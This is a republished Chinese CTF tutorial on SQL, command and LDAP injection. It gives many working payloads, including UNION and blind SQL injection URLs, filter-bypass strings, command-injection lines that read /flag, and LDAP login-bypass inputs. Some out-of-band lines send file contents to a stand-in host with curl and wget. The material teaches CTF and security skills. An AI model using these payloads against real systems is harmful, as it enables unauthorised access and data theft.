CTF入门|第4期Web入门:注入类——SQL注入、命令注入与LDAP注入实战

admin 2026-07-12 05:24:01 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文从CTF实战视角深入拆解SQL注入、命令注入与LDAP注入三种常见注入类型。SQL注入部分涵盖联合查询、盲注及绕过WAF技巧;命令注入详解分隔符使用、字符过滤绕过及无回显利用方法;LDAP注入则聚焦认证绕过与信息泄露。文章提供大量实战payload示例与绕过速查表,并给出三类注入的CTF出现频率、难度及工具对比,最后建议根据功能特征快速判断注入类型并采用对应利用方式。 综合评分: 90 文章分类: 渗透测试,CTF,WEB安全,红队,内网渗透


cover_image

CTF入门|第4期 Web入门:注入类——SQL注入、命令注入与LDAP注入实战

原创

安全值班室 安全值班室

安全值班室

2026年7月11日 09:00 北京

在小说阅读器读本章

去阅读

CTF的Web方向有三大”常青树”题型——信息泄露、文件上传和注入类。其中,注入类漏洞是最能拉开分差的题型。如果你只会用sqlmap一把梭,遇到过滤严格、需要手动绕过的题目就会一筹莫展。本期我们从CTF实战视角出发,深入拆解三种最常见的注入类型:SQL注入、命令注入和LDAP注入——它们的原理、CTF中的典型考法,以及最实用的绕过技巧。

📌 本期速览   ① SQL注入 — 联合查询、盲注、绕过WAF的CTF实战技巧    ② 命令注入 — 命令拼接、绕过字符过滤、无回显拿Flag    ③ LDAP注入 — 少见的注入类型,但CTF中常用来卡人

一、SQL注入:CTF中的基本盘

SQL注入(SQL Injection)在CTF中属于必考必会的基础题型。2011年的”拖库门”事件让国人第一次认识到SQL注入的威力,而在CTF赛场上,SQL注入题几乎场场不落。其核心原理是:Web应用将用户输入直接拼接进SQL查询语句,攻击者通过精心构造的输入改变查询语义,从而获取非授权数据。

▎ 联合查询注入(Union-Based)

这是最简单也最直观的SQL注入方式。通过 UNION SELECT 将攻击者的查询结果拼接到原始查询结果中。判断注入点的经典三板斧:

# 第1步:判断注入点(单引号报错 → 存在字符型SQL注入)http://target.com/?id=1'# 第2步:ORDER BY 判断字段数量http://target.com/?id=1' ORDER BY 3 --+http://target.com/?id=1' ORDER BY 4 --+# ORDER BY 3正常、ORDER BY 4报错 → 总字段数=3# 第3步:UNION 查询确定页面回显位http://target.com/?id=-1' UNION SELECT 1,2,3 --+# 页面显示2、3,代表第2、3字段可回显数据# 查询当前库名、数据库版本http://target.com/?id=-1' UNION SELECT 1,database(),version() --+

⚠️ CTF中的关键细节    使用 ‘–+ 作为注释符是CTF中最常见的写法。– 是SQL注释,+ 在URL中被解释为空格。有些环境用 ‘# 或 ‘– -。另外,如果过滤了空格,可以用 /**/ 或 %09(Tab)替代。

▎ 盲注(Blind Injection)

当页面不直接回显查询结果,只有”真/假”两种状态时,就需要使用盲注。CTF中最常见的盲注场景是登录框——你只能知道”登录成功”或”登录失败”。通过逐字符推断,可以从数据库中慢慢”猜”出Flag。

盲注有两种主要形式:布尔盲注——根据页面返回内容的差异判断条件真假;时间盲注——当页面无差异时,通过 SLEEP() 函数制造时间差来判断。

# 布尔盲注:逐字符爆破数据库名http://target.com/?id=1' AND SUBSTR(database(),1,1)='c' --+# 页面正常访问 → 数据库第一位字符为 chttp://target.com/?id=1' AND SUBSTR(database(),2,1)='t' --+# 页面正常访问 → 数据库第二位字符为 t# MySQL时间盲注:延时判断字符http://target.com/?id=1' AND IF(SUBSTR((SELECT flag FROM flag_table),1,1)='f',SLEEP(3),0) --+# 请求延迟3秒返回 → flag第一位字符为 f

▎ CTF中的SQL注入绕过技巧

| 绕过场景 | 过滤规则 | 绕过方法 | | — | — | — | | 空格被过滤 | 过滤空格字符 | /**/%09(Tab)、%0a(换行) | | 关键字被过滤 | 过滤 SELECT/UNION/OR | 双写如 SELSELECTECT,或大小写混用 SeLeCt | | 等号被过滤 | 过滤 = 字符 | 用 LIKEIN()REGEXP 替代 | | 注释符被过滤 | 过滤 — / # | 用 ;%00 或 /*!*/ 内联注释绕过 | | 单引号被过滤 | 过滤 ‘ | 使用 \\' 或十六进制编码绕过 |

CTF中经常遇到的场景是:题目给了源码,你发现过滤了某些关键词,但过滤不完整。例如只过滤了大写 SELECT 而没过滤小写,或者只过滤了一次。多看几遍源码,找到过滤逻辑的漏洞,往往就是解题关键。

二、命令注入:从拼接到执行

命令注入(Command Injection)在CTF中同样高频出现。它的核心是:Web应用在调用系统命令(如 ping、nslookup、whois)时,没有对用户输入做严格过滤,攻击者通过注入命令分隔符执行额外命令。CTF中典型的命令注入场景包括Ping功能、DNS查询工具和文件转换功能。

▎ 命令分隔符大全

CTF中常用的命令注入分隔符及优先级如下:

| 分隔符 | 含义 | CTF中的应用 | | — | — | — | | ; | 顺序执行 | 最简单直接,前面的命令失败也不影响后面 | | | | 管道符 | 将前一条命令的输出作为后一条的输入,两命令都会执行 | | || | 逻辑或 | 前一条失败才执行后一条 | | & | 后台执行 | 两命令并行执行 | | && | 逻辑与 | 前一条成功才执行后一条 | | `cmd` | 命令替换 | 反引号内的命令先执行,结果替换到原位置 | | $(cmd) | 命令替换(Bash) | 功能和反引号一样,但可嵌套 |

# 经典Ping功能命令注入示例# 目标地址:http://target.com/ping?ip=127.0.0.1# 方式1:分号分隔执行多条命令http://target.com/ping?ip=127.0.0.1;cat /flag# 方式2:管道符执行后续命令http://target.com/ping?ip=127.0.0.1|cat /flag# 方式3:$()命令替换,过滤关键字绕过http://target.com/ping?ip=127.0.0.1$(cat /flag)# 方式4:URL换行符%0a绕过限制http://target.com/ping?ip=127.0.0.1%0acat%20/flag

▎ 绕过字符过滤

CTF命令注入题最常考的绕过技巧就是空格被过滤和关键字被过滤。以下是实战中验证有效的绕过方法:

# 一、绕过空格过滤 payloadcat${IFS}/flag &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# ${IFS} 系统内置分隔符,等效空格cat$IFS/flagcat%09/flag &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# %09 Tab制表符代替空格{cat,/flag} &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# Bash花括号扩展自动补空格cat<flag &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 输入重定向,无需空格# 二、绕过关键字过滤 payloadc''at /flag &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 单引号拆分拼接,解析后为catc$@at&nbsp;/flag &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# $@空变量隔断,拼接成cat/bin/cat /flag &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 使用命令完整路径执行$(echo&nbsp;Y2F0 |&nbsp;base64&nbsp;-d) /flag &nbsp;# Base64解码执行绕过# 三、cat被过滤时替代读取文件命令tac&nbsp;/flag &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 反向打印文件内容nl&nbsp;/flag &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 带行号输出文件od&nbsp;/flag &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 八进制格式输出strings /flag &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 提取文件可打印字符rev /flag &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 每行文字反转输出

▎ 无回显命令注入的利用

很多CTF命令注入题是”无回显”的——你执行了命令但看不到输出。这时就需要利用”外带数据”(OOB, Out-of-Band)技术。最常用的是通过DNS或HTTP请求将Flag带出来。

# 方式1:写入Web目录导出文件(可直接访问获取数据);echo&nbsp;'flag内容'&nbsp;> /var/www/html/out.txt# 写入后访问链接:http://target.com/out.txt# 方式2:DNS/HTTP外带泄露数据;curl http://your-server/$(cat&nbsp;/flag);wget --post-data="$(cat /flag)"&nbsp;http://your-server/# 方式3:延时时间盲注判断字符;cat&nbsp;/flag|grep ^f &&&nbsp;sleep&nbsp;5# 逻辑:flag首字符为f则延迟5秒响应,否则立即返回

💡 CTF命令注入实战心得    遇到命令注入题时,先试最简单的分隔符(;、|、||),看哪条有效。如果发现某些字符被过滤(如空格、斜杠),先测试出所有可用字符范围,再构造payload。建议建立一份自己的”命令注入绕过速查表”,比赛时直接Ctrl+F查找。

三、LDAP注入:冷门但致命

LDAP注入在CTF中的出镜率不如SQL注入高,但正因如此,很多选手遇到LDAP题时完全没有思路。一旦你掌握了它的模式,LDAP注入题往往比SQL注入题更容易拿分——因为竞争对手也不会。LDAP(轻量级目录访问协议)常用于企业内部的统一认证系统,CTF中常见的场景是LDAP认证绕过和LDAP信息查询。

▎ LDAP查询语法基础

LDAP的查询语法与SQL有很大不同。一个典型的LDAP查询看起来是这样的:

# LDAP注入基础查询语句(登录验证场景)(&(uid=admin)(userPassword=123456))# 语句逻辑:同时满足uid等于admin、userPassword等于123456才匹配条目# 查询存在结果则登录验证通过

| LDAP操作符 | 含义 | 类比SQL | | — | — | — | | & | 逻辑与(AND) | AND | | | | 逻辑或(OR) | OR | | ! | 逻辑非(NOT) | NOT | | = | 等于 | = | | ~= | 近似等于 | LIKE | | >= | 大于等于 | >= | | <= | 小于等于 | <= | | * | 通配符 | % |

▎ LDAP注入:认证绕过

最常见的LDAP注入场景是登录框认证绕过。假如后端使用以下逻辑拼接查询:

# LDAP登录验证后端伪代码filter&nbsp;=&nbsp;"(&(uid="&nbsp;+ username +&nbsp;")(userPassword="&nbsp;+ password +&nbsp;"))"result = ldap_search(base_dn,&nbsp;filter)if&nbsp;result:&nbsp; &nbsp;&nbsp;# 查询到匹配条目,登录成功&nbsp; &nbsp;&nbsp;return&nbsp;'Login OK'else:&nbsp; &nbsp;&nbsp;return&nbsp;'Login Failed'

攻击者可以在用户名或密码字段注入LDAP元字符来改变查询逻辑:

# 注入方式1:通配符*绕过密码验证# 输入账号:admin &nbsp;密码:*# 拼接后查询语句:(&(uid=admin)(userPassword=*))# 原理:*为LDAP通配符,匹配任意密码,直接登录成功# 注入方式2:OR逻辑注入万能绕过# 输入账号:admin)(|(uid=* &nbsp;密码:anything# 拼接后查询语句:(&(uid=admin)(|(uid=*)(userPassword=anything)))# 原理:(|(uid=*))条件恒成立,整条查询一定有返回结果# 注入方式3:全通配匹配所有条目# 输入账号:* &nbsp;密码:*# 拼接后查询语句:(&(uid=*)(userPassword=*))# 原理:匹配系统内全部用户,一般返回首位管理员账号admin

▎ CTF中的LDAP信息泄露

除了登录绕过,LDAP注入还可以用来盲注提取LDAP目录中的信息。如果查询结果会反映在页面上(如”查到了N条记录”),就可以进行布尔盲注。

# LDAP盲注逐字符猜解Payload# 猜uid字段前缀# 账号输入:admin)(uid=admin*# 逻辑:页面正常登录/存在结果 → uid以admin开头# 多条件缩小猜解范围# 账号输入:admin)(uid=admi*)(uid=*# 猜解mail属性域名# 账号输入:admin)(mail=*@ctf.com# 逻辑:查询有返回 → 当前用户mail包含@ctf.com

LDAP注入的关键区别在于:LDAP没有注释符,所以你无法像SQL注入那样”截断”后续查询。必须通过闭合括号来制造合法的LDAP查询语句。理解LDAP查询的括号结构是解题的关键——多看几遍 & 和 | 的组合方式,你就知道怎么闭合和注入了。

四、三类注入的CTF实战对比

| 对比维度 | SQL注入 | 命令注入 | LDAP注入 | | — | — | — | — | | CTF出现频率 | ★★★★★ 极高 | ★★★★ 高 | ★★★ 中等 | | 入门难度 | ★★☆☆☆ 易 | ★★☆☆☆ 易 | ★★★☆☆ 中 | | 自动化工具 | sqlmap(主流) | 无专用工具 | 无专用工具 | | 最佳利用 方式 | UNION SELECT / 盲注 | 命令分隔符 + 外带 | 认证绕过 / 盲注 | | 绕过难度 | 中(过滤全面) | 低(分隔符多) | 中(语法陌生) | | 实战价值(非CTF) | 极高 | 高 | 中 |

拿到一道注入题时,首先判断注入类型:SQL注入通常有数据库报错信息;命令注入往往出现在Ping或系统工具功能中;LDAP注入则常见于企业级应用的登录页。确定类型后,按各自最有效的方式快速试探——SQL注入试 ‘ 和 –+,命令注入试 ; 和 |,LDAP注入试 * 和 )(|(uid=*。

学会这三类注入,CTF Web方向已经有了一块很扎实的根基。下一期我们将进入Web方向的另一个重点——XSS与CSRF,看看跨站脚本攻击在CTF中是如何窃取Cookie、绕过CSP、伪造请求的。


觉得有用?点个在看支持一下

📌 值班员说    下一期我们将进入Web方向的另一个重点领域——XSS与CSRF。Cookie窃取、CSP绕过、CSRF Token伪造……这些不仅是CTF的高频考点,也是真实渗透测试中的核心技能。我们下期见。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全值班室 安全值班室 安全值班室《CTF入门|第4期 Web入门:注入类——SQL注入、命令注入与LDAP注入实战》

评论:0   参与:  0